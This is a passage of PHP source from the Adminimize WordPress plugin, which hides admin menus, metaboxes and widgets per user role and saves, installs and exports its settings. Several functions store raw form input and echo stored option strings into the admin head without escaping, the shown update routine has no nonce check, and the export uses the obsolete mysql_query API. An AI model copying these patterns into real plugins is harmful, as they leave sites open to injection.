if ( $_mw_adminimize_ui_redirect == '1' ) {
$_mw_adminimize_admin_head .= 'jQuery(\'div#wpcontent\' ).after(\'<div id="small_user_info"><p><a href="' . get_option( 'siteurl' ) . ( '/wp-admin/profile.php' ) . '">' . $user_identity . '</a> | <a href="' . get_option( 'siteurl' ) . wp_nonce_url( ( '/wp-login.php?action=logout&redirect_to=' ) . get_option( 'siteurl' ), 'log-out' ) . '" title="' . __( 'Log Out' ) . '">' . __( 'Log Out' ) . '</a></p></div>\' ) });' . "\n";
} else {
$_mw_adminimize_admin_head .= 'jQuery(\'div#wpcontent\' ).after(\'<div id="small_user_info"><p><a href="' . get_option( 'siteurl' ) . ( '/wp-admin/profile.php' ) . '">' . $user_identity . '</a> | <a href="' . get_option( 'siteurl' ) . wp_nonce_url( ( '/wp-login.php?action=logout' ), 'log-out' ) . '" title="' . __( 'Log Out' ) . '">' . __( 'Log Out' ) . '</a></p></div>\' ) });' . "\n";
}
$_mw_adminimize_admin_head .= '</script>' . "\n";
break;
}
echo $_mw_adminimize_admin_head;
}
/**
* Set menu for settings
*/
function _mw_adminimize_set_menu_option() {
global $pagenow, $menu, $submenu, $user_identity, $wp_version, $current_screen;
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
if ( 'settings_page_adminimize/adminimize' === $current_screen->id )
return NULL;
$user_roles = _mw_adminimize_get_all_user_roles();
foreach ( $user_roles as $role ) {
$disabled_menu_[$role] = _mw_adminimize_get_option_value( 'mw_adminimize_disabled_menu_' . $role . '_items' );
$disabled_submenu_[$role] = _mw_adminimize_get_option_value( 'mw_adminimize_disabled_submenu_' . $role . '_items' );
}
// set menu
if ( isset( $disabled_menu_['editor'] ) && '' != $disabled_menu_['editor'] ) {
// set admin-menu
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles) && in_array( $role, $user->roles) ) {
if ( current_user_can( $role ) ) {
$mw_adminimize_menu = $disabled_menu_[$role];
$mw_adminimize_submenu = $disabled_submenu_[$role];
}
}
}
// fallback on users.php on all userroles smaller admin
if ( is_array( $mw_adminimize_menu) && in_array( 'users.php', $mw_adminimize_menu) )
$mw_adminimize_menu[] = 'profile.php';
if ( isset( $menu) && ! empty($menu) ) {
foreach ( $menu as $index => $item) {
if ( 'index.php' === $item )
continue;
if ( isset( $mw_adminimize_menu) && in_array( $item[2], $mw_adminimize_menu) ) {
unset( $menu[$index] );
}
if ( isset( $submenu) && !empty( $submenu[$item[2]] ) ) {
foreach ( $submenu[$item[2]] as $subindex => $subitem) {
if ( isset( $mw_adminimize_submenu) && in_array( $subitem[2], $mw_adminimize_submenu) )
//if ( 'profile.php' === $subitem[2] )
// unset( $menu[70] );
unset( $submenu[$item[2]][$subindex] );
}
}
}
}
}
}
/**
* set global options in backend in all areas
*/
function _mw_adminimize_set_global_option() {
global $_wp_admin_css_colors;
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
// remove_action( 'admin_head', 'index_js' );
foreach ( $user_roles as $role ) {
$disabled_global_option_[$role] = _mw_adminimize_get_option_value( 'mw_adminimize_disabled_global_option_' . $role . '_items' );
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_global_option_[$role]['0'] ) )
$disabled_global_option_[$role]['0'] = '';
}
$remove_adminbar = FALSE;
// new 1.7.8
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles) && in_array( $role, $user->roles) ) {
if ( current_user_can( $role )
&& isset( $disabled_global_option_[$role] )
&& is_array( $disabled_global_option_[$role] )
) {
$global_options = implode( ', ', $disabled_global_option_[$role] );
if ( _mw_adminimize_recursive_in_array( '.show-admin-bar', $disabled_global_option_[$role] ) )
$remove_adminbar = TRUE;
}
}
}
if ( 0 != strpos( $global_options, '#your-profile .form-table fieldset' ) )
$_wp_admin_css_colors = 0;
$_mw_adminimize_admin_head .= '<!-- global options -->' . "\n";
$_mw_adminimize_admin_head .= '<style type="text/css">' . $global_options . ' {display: none !important;}</style>' . "\n";
if ( $global_options)
echo $_mw_adminimize_admin_head;
}
/**
* set metabox options from database an area post
*/
function _mw_adminimize_set_metabox_post_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
// remove_action( 'admin_head', 'index_js' );
foreach ( $user_roles as $role ) {
$disabled_metaboxes_post_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_post_' . $role . '_items'
);
if ( ! isset( $disabled_metaboxes_post_[$role]['0'] ) )
$disabled_metaboxes_post_[$role]['0'] = '';
// new 1.7.8
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles) && in_array( $role, $user->roles) ) {
if ( current_user_can( $role ) &&
isset( $disabled_metaboxes_post_[$role] ) &&
is_array( $disabled_metaboxes_post_[$role] )
) {
$metaboxes = implode( ',', $disabled_metaboxes_post_[$role] );
}
}
}
}
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$metaboxes . ' {display: none !important;}</style>' . "\n";
if ( $metaboxes)
echo $_mw_adminimize_admin_head;
}
/**
* set metabox options from database an area page
*/
function _mw_adminimize_set_metabox_page_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
// remove_action( 'admin_head', 'index_js' );
foreach ( $user_roles as $role ) {
$disabled_metaboxes_page_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_page_' . $role . '_items'
);
if ( ! isset( $disabled_metaboxes_page_[$role]['0'] ) )
$disabled_metaboxes_page_[$role]['0'] = '';
// new 1.7.8
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles) && in_array( $role, $user->roles) ) {
if ( current_user_can( $role )
&& isset( $disabled_metaboxes_page_[$role] )
&& is_array( $disabled_metaboxes_page_[$role] )
) {
$metaboxes = implode( ',', $disabled_metaboxes_page_[$role] );
}
}
}
}
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$metaboxes . ' {display: none !important;}</style>' . "\n";
if ( $metaboxes)
echo $_mw_adminimize_admin_head;
}
/**
* set metabox options from database an area post
*/
function _mw_adminimize_set_metabox_cp_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
if ( isset( $_GET['post'] ) )
$post_id = (int) $_GET['post'];
elseif ( isset( $_POST['post_ID'] ) )
$post_id = (int) $_POST['post_ID'];
else
$post_id = 0;
$current_post_type = $GLOBALS['post_type'];
if ( ! isset( $current_post_type ) )
$current_post_type = get_post_type( $post_id );
if ( ! isset($current_post_type) || ! $current_post_type )
$current_post_type = str_replace( 'post_type=', '', esc_attr( $_SERVER['QUERY_STRING'] ) );
if ( ! $current_post_type ) // set hard to post
$current_post_type = 'post';
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
// remove_action( 'admin_head', 'index_js' );
foreach ( $user_roles as $role ) {
$disabled_metaboxes_[$current_post_type . '_' . $role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_' . $current_post_type . '_' . $role . '_items'
);
if ( ! isset( $disabled_metaboxes_[$current_post_type . '_' . $role]['0'] ) )
$disabled_metaboxes_[$current_post_type . '_' . $role]['0'] = '';
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles ) && in_array( $role, $user->roles ) ) {
if ( current_user_can( $role )
&& isset( $disabled_metaboxes_[$current_post_type . '_' . $role] )
&& is_array( $disabled_metaboxes_[$current_post_type . '_' . $role] )
) {
$metaboxes = implode( ',', $disabled_metaboxes_[$current_post_type . '_' . $role] );
}
}
}
}
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$metaboxes . ' {display: none !important;}</style>' . "\n";
if ( $metaboxes )
echo $_mw_adminimize_admin_head;
}
/**
* set link options in area Links of Backend
*/
function _mw_adminimize_set_link_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
// remove_action( 'admin_head', 'index_js' );
foreach ( $user_roles as $role ) {
$disabled_link_option_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_link_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( !isset( $disabled_link_option_[$role]['0'] ) )
$disabled_link_option_[$role]['0'] = '';
}
// new 1.7.8
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles) && in_array( $role, $user->roles) ) {
if ( current_user_can( $role )
&& isset( $disabled_link_option_[$role] )
&& is_array( $disabled_link_option_[$role] )
) {
$link_options = implode( ',', $disabled_link_option_[$role] );
}
}
}
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$link_options . ' {display: none !important;}</style>' . "\n";
if ( $link_options)
echo $_mw_adminimize_admin_head;
}
/**
* remove objects on wp nav menu
*/
function _mw_adminimize_set_nav_menu_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
// remove_action( 'admin_head', 'index_js' );
foreach ( $user_roles as $role ) {
$disabled_nav_menu_option_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_nav_menu_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_nav_menu_option_[$role]['0'] ) )
$disabled_nav_menu_option_[$role]['0'] = '';
}
// new 1.7.8
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles) && in_array( $role, $user->roles) ) {
if ( current_user_can( $role )
&& isset( $disabled_nav_menu_option_[$role] )
&& is_array( $disabled_nav_menu_option_[$role] )
) {
$nav_menu_options = implode( ',', $disabled_nav_menu_option_[$role] );
}
}
}
//remove_meta_box( $id, 'nav-menus', 'side' );
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$nav_menu_options . ' {display: none !important;}</style>' . "\n";
if ( $nav_menu_options )
echo $_mw_adminimize_admin_head;
}
/**
* Remove areas in Widget Settings
*/
function _mw_adminimize_set_widget_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
foreach ( $user_roles as $role ) {
$disabled_widget_option_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_widget_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_widget_option_[$role]['0'] ) )
$disabled_widget_option_[$role]['0'] = '';
}
// new 1.7.8
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles) && in_array( $role, $user->roles) ) {
if ( current_user_can( $role )
&& isset( $disabled_widget_option_[$role] )
&& is_array( $disabled_widget_option_[$role] )
) {
$widget_options = implode( ',', $disabled_widget_option_[$role] );
}
}
}
//remove_meta_box( $id, 'nav-menus', 'side' );
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$widget_options . ' {display: none !important;}</style>' . "\n";
if ( $widget_options )
echo $_mw_adminimize_admin_head;
}
/**
* small user-info
*/
function _mw_adminimize_small_user_info() {
?>
<div id="small_user_info">
<p>
<a href="<?php echo wp_nonce_url(
site_url( 'wp-login.php?action=logout' ),
'log-out' ) ?>"
title="<?php _e( 'Log Out' ) ?>"><?php _e( 'Log Out' ); ?></a>
</p>
</div>
<?php
}
/**
* include options-page in wp-admin
*/
// inc. settings page
require_once( 'adminimize_page.php' );
//require_once( 'inc-options/class-eximport.php' );
// dashbaord options
require_once( 'inc-setup/dashboard.php' );
// widget options
require_once( 'inc-setup/widget.php' );
require_once( 'inc-setup/admin-footer.php' );
// globale settings
//require_once( 'inc-options/settings_notice.php' );
// remove admin bar
require_once( 'inc-setup/remove-admin-bar.php' );
// admin bar helper, setup
// work always in frontend
require_once( 'inc-setup/admin-bar-items.php' );
// meta boxes helper, setup
//require_once( 'inc-setup/meta-boxes.php' );
/**
* @version WP 2.8
* Add action link(s) to plugins page
*
* @param $links, $file
* @return $links
*/
function _mw_adminimize_filter_plugin_meta( $links, $file ) {
/* create link */
if ( FB_ADMINIMIZE_BASENAME == $file ) {
array_unshift(
$links,
sprintf( '<a href="options-general.php?page=%s">%s</a>', FB_ADMINIMIZE_BASENAME, __( 'Settings' ) )
);
}
return $links;
}
/**
* settings in plugin-admin-page
*/
function _mw_adminimize_add_settings_page() {
/*
* Maybe later
if ( is_multisite() && is_plugin_active_for_network( plugin_basename( __FILE__ ) ) ) {
$pagehook = add_submenu_page(
'settings.php',
__( 'Adminimize Network Options', FB_ADMINIMIZE_TEXTDOMAIN ),
__( 'Adminimize', FB_ADMINIMIZE_TEXTDOMAIN ),
'manage_options',
plugin_basename( __FILE__ ),
'_mw_adminimize_options'
);
}
*/
$pagehook = add_options_page(
__( 'Adminimize Options', FB_ADMINIMIZE_TEXTDOMAIN ),
__( 'Adminimize', FB_ADMINIMIZE_TEXTDOMAIN ),
'manage_options',
__FILE__,
'_mw_adminimize_options'
);
if ( ! is_network_admin() )
add_filter( 'plugin_action_links', '_mw_adminimize_filter_plugin_meta', 10, 2 );
add_action( 'load-' . $pagehook, '_mw_adminimize_on_load_page' );
}
function _mw_adminimize_on_load_page() {
wp_register_style( 'adminimize-style', plugins_url( 'css/style.css', __FILE__ ) );
wp_enqueue_style( 'adminimize-style' );
wp_register_script(
'adminimize-settings-script',
plugins_url( 'js/adminimize.js', __FILE__ ),
array( 'jquery' ),
'05/02/2013',
TRUE
);
wp_enqueue_script( 'adminimize-settings-script' );
}
/**
* Set theme for users
* Kill with version 1.7.18
*/
function _mw_adminimize_set_theme() {
if ( ! current_user_can( 'edit_users' ) )
wp_die( __( 'Cheatin’ uh?' ) );
$user_ids = $_POST['mw_adminimize_theme_items'];
$admin_color = htmlspecialchars( stripslashes( $_POST['_mw_adminimize_set_theme'] ) );
if ( ! $user_ids )
return FALSE;
foreach( $user_ids as $user_id ) {
update_usermeta( $user_id, 'admin_color', $admin_color );
}
}
/**
* read otpions
*/
function _mw_adminimize_get_option_value( $key) {
// check for use on multisite
if ( is_multisite() && is_plugin_active_for_network( MW_ADMIN_FILE ) )
$adminimizeoptions = get_site_option( 'mw_adminimize' );
else
$adminimizeoptions = get_option( 'mw_adminimize' );
if ( isset( $adminimizeoptions[$key] ) )
return ( $adminimizeoptions[$key] );
}
/**
* Update options in database
*/
function _mw_adminimize_update() {
$user_roles = _mw_adminimize_get_all_user_roles();
$args = array( 'public' => TRUE, '_builtin' => FALSE );
$post_types = get_post_types( $args );
$adminimizeoptions['mw_adminimize_admin_bar_nodes'] = _mw_adminimize_get_option_value( 'mw_adminimize_admin_bar_nodes' );
// admin bar options
foreach ( $user_roles as $role ) {
// admin abr options
if ( isset( $_POST['mw_adminimize_disabled_admin_bar_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_admin_bar_' . $role . '_items'] = $_POST['mw_adminimize_disabled_admin_bar_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_admin_bar_' . $role . '_items'] = array();
}
}
if ( isset( $_POST['_mw_adminimize_user_info'] ) ) {
$adminimizeoptions['_mw_adminimize_user_info'] = strip_tags(stripslashes( $_POST['_mw_adminimize_user_info'] ) );
} else {
$adminimizeoptions['_mw_adminimize_user_info'] = 0;
}
if ( isset( $_POST['_mw_adminimize_dashmenu'] ) ) {
$adminimizeoptions['_mw_adminimize_dashmenu'] = strip_tags(stripslashes( $_POST['_mw_adminimize_dashmenu'] ) );
} else {
$adminimizeoptions['_mw_adminimize_dashmenu'] = 0;
}
if ( isset( $_POST['_mw_adminimize_footer'] ) ) {
$adminimizeoptions['_mw_adminimize_footer'] = strip_tags(stripslashes( $_POST['_mw_adminimize_footer'] ) );
} else {
$adminimizeoptions['_mw_adminimize_footer'] = 0;
}
if ( isset( $_POST['_mw_adminimize_header'] ) ) {
$adminimizeoptions['_mw_adminimize_header'] = strip_tags(stripslashes( $_POST['_mw_adminimize_header'] ) );
} else {
$adminimizeoptions['_mw_adminimize_header'] = 0;
}
if ( isset( $_POST['_mw_adminimize_exclude_super_admin'] ) ) {
$adminimizeoptions['_mw_adminimize_exclude_super_admin'] = strip_tags(stripslashes( $_POST['_mw_adminimize_exclude_super_admin'] ) );
} else {
$adminimizeoptions['_mw_adminimize_exclude_super_admin'] = 0;
}
if ( isset( $_POST['_mw_adminimize_tb_window'] ) ) {
$adminimizeoptions['_mw_adminimize_tb_window'] = strip_tags(stripslashes( $_POST['_mw_adminimize_tb_window'] ) );
} else {
$adminimizeoptions['_mw_adminimize_tb_window'] = 0;
}
if ( isset( $_POST['_mw_adminimize_cat_full'] ) ) {
$adminimizeoptions['_mw_adminimize_cat_full'] = strip_tags(stripslashes( $_POST['_mw_adminimize_cat_full'] ) );
} else {
$adminimizeoptions['_mw_adminimize_cat_full'] = 0;
}
if ( isset( $_POST['_mw_adminimize_db_redirect'] ) ) {
$adminimizeoptions['_mw_adminimize_db_redirect'] = strip_tags(stripslashes( $_POST['_mw_adminimize_db_redirect'] ) );
} else {
$adminimizeoptions['_mw_adminimize_db_redirect'] = 0;
}
if ( isset( $_POST['_mw_adminimize_ui_redirect'] ) ) {
$adminimizeoptions['_mw_adminimize_ui_redirect'] = strip_tags(stripslashes( $_POST['_mw_adminimize_ui_redirect'] ) );
} else {
$adminimizeoptions['_mw_adminimize_ui_redirect'] = 0;
}
if ( isset( $_POST['_mw_adminimize_advice'] ) ) {
$adminimizeoptions['_mw_adminimize_advice'] = strip_tags(stripslashes( $_POST['_mw_adminimize_advice'] ) );
} else {
$adminimizeoptions['_mw_adminimize_advice'] = 0;
}
if ( isset( $_POST['_mw_adminimize_advice_txt'] ) ) {
$adminimizeoptions['_mw_adminimize_advice_txt'] = stripslashes( $_POST['_mw_adminimize_advice_txt'] );
} else {
$adminimizeoptions['_mw_adminimize_advice_txt'] = 0;
}
if ( isset( $_POST['_mw_adminimize_timestamp'] ) ) {
$adminimizeoptions['_mw_adminimize_timestamp'] = strip_tags(stripslashes( $_POST['_mw_adminimize_timestamp'] ) );
} else {
$adminimizeoptions['_mw_adminimize_timestamp'] = 0;
}
if ( isset( $_POST['_mw_adminimize_control_flashloader'] ) ) {
$adminimizeoptions['_mw_adminimize_control_flashloader'] = strip_tags(stripslashes( $_POST['_mw_adminimize_control_flashloader'] ) );
} else {
$adminimizeoptions['_mw_adminimize_control_flashloader'] = 0;
}
if ( isset( $_POST['_mw_adminimize_db_redirect_txt'] ) ) {
$adminimizeoptions['_mw_adminimize_db_redirect_txt'] = stripslashes( $_POST['_mw_adminimize_db_redirect_txt'] );
} else {
$adminimizeoptions['_mw_adminimize_db_redirect_txt'] = 0;
}
// menu update
foreach ( $user_roles as $role ) {
if ( isset( $_POST['mw_adminimize_disabled_menu_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_menu_' . $role . '_items'] = $_POST['mw_adminimize_disabled_menu_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_menu_' . $role . '_items'] = array();
}
if ( isset( $_POST['mw_adminimize_disabled_submenu_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_submenu_' . $role . '_items'] = $_POST['mw_adminimize_disabled_submenu_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_submenu_' . $role . '_items'] = array();
}
}
// global_options, metaboxes update
foreach ( $user_roles as $role ) {
// global options
if ( isset( $_POST['mw_adminimize_disabled_global_option_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_global_option_' . $role . '_items'] = $_POST['mw_adminimize_disabled_global_option_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_global_option_' . $role . '_items'] = array();
}
if ( isset( $_POST['mw_adminimize_disabled_metaboxes_post_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_metaboxes_post_' . $role . '_items'] = $_POST['mw_adminimize_disabled_metaboxes_post_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_metaboxes_post_' . $role . '_items'] = array();
}
if ( isset( $_POST['mw_adminimize_disabled_metaboxes_page_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_metaboxes_page_' . $role . '_items'] = $_POST['mw_adminimize_disabled_metaboxes_page_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_metaboxes_page_' . $role . '_items'] = array();
}
foreach ( $post_types as $post_type ) {
if ( isset( $_POST['mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items'] = $_POST['mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items'] = array();
}
}
if ( isset( $_POST['mw_adminimize_disabled_link_option_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_link_option_' . $role . '_items'] = $_POST['mw_adminimize_disabled_link_option_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_link_option_' . $role . '_items'] = array();
}
// wp nav menu options
if ( isset( $_POST['mw_adminimize_disabled_nav_menu_option_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_nav_menu_option_' . $role . '_items'] = $_POST['mw_adminimize_disabled_nav_menu_option_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_nav_menu_option_' . $role . '_items'] = array();
}
// widget options
if ( isset( $_POST['mw_adminimize_disabled_widget_option_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_widget_option_' . $role . '_items'] = $_POST['mw_adminimize_disabled_widget_option_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_widget_option_' . $role . '_items'] = array();
}
// wp dashboard option
if ( isset( $_POST['mw_adminimize_disabled_dashboard_option_' . $role . '_items'] ) ) {
$adminimizeoptions['mw_adminimize_disabled_dashboard_option_' . $role . '_items'] = $_POST['mw_adminimize_disabled_dashboard_option_' . $role . '_items'];
} else {
$adminimizeoptions['mw_adminimize_disabled_dashboard_option_' . $role . '_items'] = array();
}
}
// own options
if ( isset( $_POST['_mw_adminimize_own_values'] ) ) {
$adminimizeoptions['_mw_adminimize_own_values'] = stripslashes( $_POST['_mw_adminimize_own_values'] );
} else {
$adminimizeoptions['_mw_adminimize_own_values'] = 0;
}
if ( isset( $_POST['_mw_adminimize_own_options'] ) ) {
$adminimizeoptions['_mw_adminimize_own_options'] = stripslashes( $_POST['_mw_adminimize_own_options'] );
} else {
$adminimizeoptions['_mw_adminimize_own_options'] = 0;
}
// own post options
if ( isset( $_POST['_mw_adminimize_own_post_values'] ) ) {
$adminimizeoptions['_mw_adminimize_own_post_values'] = stripslashes( $_POST['_mw_adminimize_own_post_values'] );
} else {
$adminimizeoptions['_mw_adminimize_own_post_values'] = 0;
}
if ( isset( $_POST['_mw_adminimize_own_post_options'] ) ) {
$adminimizeoptions['_mw_adminimize_own_post_options'] = stripslashes( $_POST['_mw_adminimize_own_post_options'] );
} else {
$adminimizeoptions['_mw_adminimize_own_post_options'] = 0;
}
// own page options
if ( isset( $_POST['_mw_adminimize_own_page_values'] ) ) {
$adminimizeoptions['_mw_adminimize_own_page_values'] = stripslashes( $_POST['_mw_adminimize_own_page_values'] );
} else {
$adminimizeoptions['_mw_adminimize_own_page_values'] = 0;
}
if ( isset( $_POST['_mw_adminimize_own_page_options'] ) ) {
$adminimizeoptions['_mw_adminimize_own_page_options'] = stripslashes( $_POST['_mw_adminimize_own_page_options'] );
} else {
$adminimizeoptions['_mw_adminimize_own_page_options'] = 0;
}
// own custom post options
foreach ( $post_types as $post_type ) {
if ( isset( $_POST['_mw_adminimize_own_values_' . $post_type] ) ) {
$adminimizeoptions['_mw_adminimize_own_values_' . $post_type] = stripslashes( $_POST['_mw_adminimize_own_values_' . $post_type] );
} else {
$adminimizeoptions['_mw_adminimize_own_values_' . $post_type] = 0;
}
if ( isset( $_POST['_mw_adminimize_own_options_' . $post_type] ) ) {
$adminimizeoptions['_mw_adminimize_own_options_' . $post_type ] = stripslashes( $_POST['_mw_adminimize_own_options_' . $post_type] );
} else {
$adminimizeoptions['_mw_adminimize_own_options_' . $post_type] = 0;
}
}
// own link options
if ( isset( $_POST['_mw_adminimize_own_link_values'] ) ) {
$adminimizeoptions['_mw_adminimize_own_link_values'] = stripslashes( $_POST['_mw_adminimize_own_link_values'] );
} else {
$adminimizeoptions['_mw_adminimize_own_link_values'] = 0;
}
if ( isset( $_POST['_mw_adminimize_own_link_options'] ) ) {
$adminimizeoptions['_mw_adminimize_own_link_options'] = stripslashes( $_POST['_mw_adminimize_own_link_options'] );
} else {
$adminimizeoptions['_mw_adminimize_own_link_options'] = 0;
}
// wp nav menu options
if ( isset( $_POST['_mw_adminimize_own_nav_menu_values'] ) ) {
$adminimizeoptions['_mw_adminimize_own_nav_menu_values'] = stripslashes( $_POST['_mw_adminimize_own_nav_menu_values'] );
} else {
$adminimizeoptions['_mw_adminimize_own_nav_menu_values'] = 0;
}
if ( isset( $_POST['_mw_adminimize_own_nav_menu_options'] ) ) {
$adminimizeoptions['_mw_adminimize_own_nav_menu_options'] = stripslashes( $_POST['_mw_adminimize_own_nav_menu_options'] );
} else {
$adminimizeoptions['_mw_adminimize_own_nav_menu_options'] = 0;
}
// widget options
if ( isset( $_POST['_mw_adminimize_own_widget_values'] ) ) {
$adminimizeoptions['_mw_adminimize_own_widget_values'] = stripslashes( $_POST['_mw_adminimize_own_widget_values'] );
} else {
$adminimizeoptions['_mw_adminimize_own_widget_values'] = 0;
}
if ( isset( $_POST['_mw_adminimize_own_widget_options'] ) ) {
$adminimizeoptions['_mw_adminimize_own_widget_options'] = stripslashes( $_POST['_mw_adminimize_own_widget_options'] );
} else {
$adminimizeoptions['_mw_adminimize_own_widget_options'] = 0;
}
// own dashboard options
if ( isset( $_POST['_mw_adminimize_own_dashboard_values'] ) ) {
$adminimizeoptions['_mw_adminimize_own_dashboard_values'] = stripslashes( $_POST['_mw_adminimize_own_dashboard_values'] );
} else {
$adminimizeoptions['_mw_adminimize_own_dashboard_values'] = 0;
}
if ( isset( $_POST['_mw_adminimize_own_dashboard_options'] ) ) {
$adminimizeoptions['_mw_adminimize_own_dashboard_options'] = stripslashes( $_POST['_mw_adminimize_own_dashboard_options'] );
} else {
$adminimizeoptions['_mw_adminimize_own_dashboard_options'] = 0;
}
$adminimizeoptions['mw_adminimize_dashboard_widgets'] = _mw_adminimize_get_option_value('mw_adminimize_dashboard_widgets' );
if ( isset( $GLOBALS['menu'] ) )
$adminimizeoptions['mw_adminimize_default_menu'] = $GLOBALS['menu'];
if ( isset( $GLOBALS['submenu'] ) )
$adminimizeoptions['mw_adminimize_default_submenu'] = $GLOBALS['submenu'];
//update_option( 'mw_adminimize1', $adminimizeoptions['mw_adminimize_disabled_admin_bar_administrator_items'] );
//update_site_option( 'mw_adminimize1', $adminimizeoptions['mw_adminimize_disabled_admin_bar_administrator_items'] );
// update
if ( is_multisite() && is_plugin_active_for_network( MW_ADMIN_FILE ) )
update_site_option( 'mw_adminimize', $adminimizeoptions );
else
update_option( 'mw_adminimize', $adminimizeoptions );
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="updated fade"><p>' . $myErrors->get_error( '_mw_adminimize_update' ) . '</p></div>';
echo $myErrors;
}
/**
* Delete options in database
*/
function _mw_adminimize_deinstall() {
delete_site_option( 'mw_adminimize' );
delete_option( 'mw_adminimize' );
}
/**
* Install options in database
*/
function _mw_adminimize_install() {
if ( ! is_admin() )
return NULL;
global $menu, $submenu;
$user_roles = _mw_adminimize_get_all_user_roles();
$adminimizeoptions = array();
foreach ( $user_roles as $role ) {
$adminimizeoptions['mw_adminimize_disabled_menu_' . $role . '_items'] = array();
$adminimizeoptions['mw_adminimize_disabled_submenu_' . $role . '_items'] = array();
$adminimizeoptions['mw_adminimize_disabled_admin_bar_' . $role . '_items'] = array();
$adminimizeoptions['mw_adminimize_disabled_global_option_' . $role . '_items'] = array();
$adminimizeoptions['mw_adminimize_disabled_metaboxes_post_' . $role . '_items'] = array();
$adminimizeoptions['mw_adminimize_disabled_metaboxes_page_' . $role . '_items'] = array();
$args = array( 'public' => TRUE, '_builtin' => FALSE );
foreach ( get_post_types( $args ) as $post_type ) {
$adminimizeoptions['mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items'] = array();
}
}
$adminimizeoptions['mw_adminimize_default_menu'] = $menu;
$adminimizeoptions['mw_adminimize_default_submenu'] = $submenu;
if ( is_multisite() && is_plugin_active_for_network( MW_ADMIN_FILE ) )
add_site_option( 'mw_adminimize', $adminimizeoptions );
else
add_option( 'mw_adminimize', $adminimizeoptions );
}
/**
* export options in file
*/
function _mw_adminimize_export() {
global $wpdb;
$filename = 'adminimize_export-' . date( 'Y-m-d_G-i-s' ) . '.seq';
header( "Content-Description: File Transfer");
header( "Content-Disposition: attachment; filename=" . urlencode( $filename ) );
header( "Content-Type: application/force-download");
header( "Content-Type: application/octet-stream");
header( "Content-Type: application/download");
header( 'Content-Type: text/seq; charset=' . get_option( 'blog_charset' ), TRUE );
flush();
$export_data = mysql_query("SELECT option_value FROM $wpdb->options WHERE option_name = 'mw_adminimize'");
$export_data = mysql_result( $export_data, 0 );
echo $export_data;
flush();
}
/**
* import options in table _options
*/
